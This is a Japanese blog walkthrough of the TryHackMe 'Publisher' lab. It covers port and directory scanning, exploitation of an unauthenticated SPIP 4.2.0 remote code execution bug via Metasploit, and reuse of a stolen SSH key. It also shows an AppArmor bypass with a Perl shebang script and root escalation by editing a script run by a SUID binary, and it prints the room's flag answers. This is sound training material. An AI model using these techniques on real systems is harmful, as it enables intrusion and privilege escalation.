0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Publisher:Walkthrough

Posted at

概要

TryHackMe「Publisher」のWalkthroughです。

Task1

Q1.What is the user flag?

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV 10.10.45.158 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41

Webサイトを確認できました。
SPIPというインターネット出版システムのコミュニティサイトのようです。
言語はPHPが使用されています。

home page.png

ディレクトリの列挙を行います。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.45.158/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result
images                  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 240ms]
[INFO] Adding a new job to the queue: http://10.10.45.158/images/FUZZ
                        [Status: 200, Size: 8686, Words: 1334, Lines: 151, Duration: 243ms]
spip                    [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 239ms]
[INFO] Adding a new job to the queue: http://10.10.45.158/spip/FUZZ
                        [Status: 200, Size: 8686, Words: 1334, Lines: 151, Duration: 238ms]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 238ms]
[INFO] Starting queued job on target: http://10.10.45.158/images/FUZZ
                        [Status: 200, Size: 3037, Words: 157, Lines: 27, Duration: 245ms]
                        [Status: 200, Size: 3037, Words: 157, Lines: 27, Duration: 239ms]
[INFO] Starting queued job on target: http://10.10.45.158/spip/FUZZ
                        [Status: 200, Size: 8133, Words: 447, Lines: 186, Duration: 250ms]
local                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/local/
vendor                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/vendor/
config                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/config/
tmp                     [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 237ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/tmp/
LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 239ms]
IMG                     [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 241ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/IMG/
ecrire                  [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/ecrire/
                        [Status: 200, Size: 8133, Words: 447, Lines: 186, Duration: 250ms]
prive                   [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 238ms]
[WARN] Directory found, but recursion depth exceeded. Ignoring: http://10.10.45.158/spip/prive/

/spipへアクセスすることが出来ました。

spip root page.png

GitLabのリポジトリからファイル構成がわかったのでアクセスしてみるとディレクトリ構成を確認できました。

apache opendir.png

/spip/local/config.txtへアクセスするとspip 4.2.0のバージョンであると確認できました。

/spip/local/config.txt
Composed-By: SPIP @ www.spip.net + spip(4.2.0),aide(3.1.0),archiviste(2.2.0),compagnon(3.1.0),dump(2.1.0),images(4.1.0),forum(3.1.0),mediabox(3.1.0),mots(4.1.0),plan(4.1.0),porte_plume(3.1.1),revisions(3.1.0),safehtml(3.1.0),sites(4.1.0),stats(3.1.1),tw(3.1.1),urls(4.1.0),iterateurs(1.0.6),queue(0.6.8),jquery(3.6.3),csstidy(1.15.1),minidoc(1.0.3),ordoc(1.1.2),mejs(4.2.7),bigup(3.2.1),compresseur(2.1.1),medias(4.1.0),svp(3.1.1)

脆弱性を検索するとRCEの脆弱性がヒットしました。

$ searchsploit spip 4.2.0
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SPIP v4.2.0 - Remote Code Execution (Unauthenticated)                              | php/webapps/51536.py
----------------------------------------------------------------------------------- ---------------------------------

Metasploitでセッションを確立できました。

metasp.png

meterpreter > pwd
/home/think/spip/spip

/home/think/user.txtからユーザーフラグを入手できます。

> cat /home/think/user.txt
fa229046d44eda6a3598c73ad96f4ca5 

A.fa229046d44eda6a3598c73ad96f4ca5

Q2.What is the root flag?

Hint.Look to the App Armor by it's profile.

/home/think/.ssh/id_rsathinkアカウントのSSHプライベートキーを見つけました。
ローカルに保存し、SSH接続に成功しました。

$ ssh -i id_rsa think@10.10.72.161
think@publisher:~$

ヒントからも分かるようにこのマシンにはAppArmorが導入されています。

$ ls -l /etc/ | grep apparmor
drwxr-xr-x 3 root root       4096 Dec  8  2023 apparmor
drwxr-xr-x 8 root root       4096 Feb 12 20:19 apparmor.d

AppArmorはファイルへのアクセス制御などができるセキュリティモジュールの一種です。

SUIDビットが設定されたプログラムを検索すると/usr/sbin/run_containerというプログラムを発見しました。

$ find / -user root -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
/usr/sbin/run_container
(省略)

試しに実行してみると/opt/run_container.shのプログラムでエラーが出ているのでこのスクリプトファイルを実行していると分かりました。

$ /usr/sbin/run_container    
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 2 hours
Enter the ID of the container or leave blank to create a new one:
/opt/run_container.sh: line 16: validate_container_id: command not found                                       
OPTIONS:                             
1) Start Container                              
2) Stop Container                                    
3) Restart Container                            
4) Create Container                                        
5) Quit

/opt/run_container.shの中身を書き換えることでrootアカウントのシェルを取得できそうです。
ファイルの変更を試しましたが、権限が与えられているのに失敗しました。

$ ls -l /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10 12:40 /opt/run_container.sh
$ echo "/bin/bash -i" > /opt/run_container.sh
ash: /opt/run_container.sh: Permission denied

これはAppArmorによりファイルへのアクセス制御がされているからです。

これは現在使用しているashシェルへ適用されているルールです。

$ echo $SHELL
/usr/sbin/ash
$ cat /etc/apparmor.d/usr.sbin.ash 
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}

このことからashシェルでは/opt配下への書き込み権限がないと分かります。
しかし、/var/tmp/~配下へは書き込みできると分かりました。

仮に/var/tmp配下へも制限するならdeny /var/tmp/** wと指定する必要があります。

think@publisher:/var/tmp$ touch test
think@publisher:/var/tmp$ ls -l
-rw-rw-r-- 1 think think       0 Jul  2 10:13 test

HackTricksで紹介されているテクニックを利用してシェルを変更します。

$ echo '#!/usr/bin/perl
> use POSIX qw(strftime);
> use POSIX qw(setuid);
> POSIX::setuid(0);
> exec "/bin/sh"' > /var/tmp/test.pl
$ chmod +x /var/tmp/test.pl
$ /var/tmp/test.pl
$ echo $0
/bin/sh

/opt/run_container.sh/bin/bash -pを追加します。

-pオプションを使用すると特権モードでシェルを起動できます。

$ vi /opt/run_container.sh
/opt/run_container.sh
#!/bin/bash

/bin/bash -p # 追加

# Function to list Docker containers
list_containers() {
    if [ -z "$(docker ps -aq)" ]; then
        docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef;
    fi
    echo "List of Docker containers:"
    docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}"
    echo ""
}
(省略)

/usr/sbin/run_containerを実行するとrootのシェルを取得できました。

$ /usr/sbin/run_container 
bash-5.0# whoami
root

/root/root.txtからフラグを入手できます。

bash-5.0# cat /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca

A.3a4225cc9e85709adda6ef55d6a4f2ca

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?